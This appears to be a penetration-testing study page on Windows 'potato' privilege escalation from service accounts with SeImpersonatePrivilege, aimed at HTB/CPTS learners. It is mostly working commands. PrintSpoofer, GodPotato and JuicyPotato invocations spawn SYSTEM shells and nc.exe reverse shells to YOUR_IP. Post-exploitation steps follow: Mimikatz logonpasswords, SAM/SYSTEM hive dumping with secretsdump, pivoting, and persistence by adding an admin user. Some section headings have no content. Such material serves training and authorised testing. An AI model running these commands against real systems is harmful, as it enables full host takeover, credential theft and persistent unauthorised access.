Potato Attacks

What is it?

"Potato attacks" are a family of Windows privilege escalation techniques that all exploit the same core concept: if your account has SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, you can impersonate any token, including SYSTEM.

Which accounts have these privileges by default?

• Service accounts: IIS, MSSQL, and most Windows services
• Network Service
• Local Service
• Any account where an admin has granted it

This means: if you get a shell as a service account (very common through web app exploitation, MSSQL xp_cmdshell, or service exploits), you can almost always escalate to SYSTEM.

Run this first

Confirm the privilege exists before trying any potato variant.

C:\> whoami /priv

C:\> PrintSpoofer64.exe -i -c cmd

• whoami /priv shows SeImpersonatePrivilege as Enabled if you have it. No privilege, no potato attack.
• PrintSpoofer64.exe -i -c cmd is the current best first attempt, since it works on most modern patched systems.

You get an interactive SYSTEM shell. If PrintSpoofer fails, GodPotato is the next attempt on recent systems, and JuicyPotato is kept for older, specifically unpatched hosts.

Which potato to use?

Each variant works on different Windows versions. Here's the decision tree:

How do you spot it?

The check is simple: run whoami /priv and look for the magic privilege:

C:\> whoami /priv

PRIVILEGES INFORMATION
Privilege Name                Description                    State
============================= ============================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token  Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas          Disabled
SeImpersonatePrivilege        Impersonate a client           Enabled   <-- THIS ONE
SeCreateGlobalPrivilege       Create global objects           Enabled

If you see SeImpersonatePrivilege → potato attack. That's it. Even if it says "Disabled", it's often still exploitable.

How do you use them?

PrintSpoofer (try first)

REM Get an interactive SYSTEM shell
C:\> PrintSpoofer64.exe -i -c cmd

REM Execute a command as SYSTEM
C:\> PrintSpoofer64.exe -c "whoami"
nt authority\system

REM Get a reverse shell as SYSTEM
C:\> PrintSpoofer64.exe -c "C:\temp\nc.exe YOUR_IP 4444 -e cmd.exe"

GodPotato

REM Execute a command as SYSTEM
C:\> GodPotato-NET4.exe -cmd "cmd /c whoami"
nt authority\system

REM Reverse shell
C:\> GodPotato-NET4.exe -cmd "C:\temp\nc.exe YOUR_IP 4444 -e cmd.exe"

REM Use the right .NET version (check with dir C:\Windows\Microsoft.NET\Framework64\)
REM GodPotato-NET2.exe for .NET 2.0/3.5
REM GodPotato-NET4.exe for .NET 4.x

JuicyPotato (older systems)

REM Basic usage: needs a CLSID that runs as SYSTEM
C:\> JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {4991D34B-80A1-4291-83B6-3328366B9097}

REM -l = COM server listening port (pick any free port)
REM -p = program to execute as SYSTEM
REM -t = createprocess type (* = try both)
REM -c = CLSID (varies by OS version!)

REM Execute a reverse shell
C:\> JuicyPotato.exe -l 1337 -p C:\temp\rev.exe -t * -c {4991D34B-80A1-4291-83B6-3328366B9097}

What do you do with SYSTEM?

Once you're SYSTEM, you own the machine. Here's what to do next:

• Dump credentials: Run Mimikatz sekurlsa::logonpasswords to get all cached credentials
• Dump SAM: reg save HKLM\SAM sam.bak + reg save HKLM\SYSTEM system.bak → transfer to Kali → secretsdump.py -sam sam.bak -system system.bak LOCAL
• Check for domain creds: If domain users have logged in to this machine, their hashes are in LSASS memory
• Read flags: On HTB/CPTS, read the root.txt / proof.txt
• Pivot: Check ipconfig /all for additional network interfaces → Ligolo-ng
• Persist: Create a new admin user, dump hashes for pass-the-hash access later

Common mistakes

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.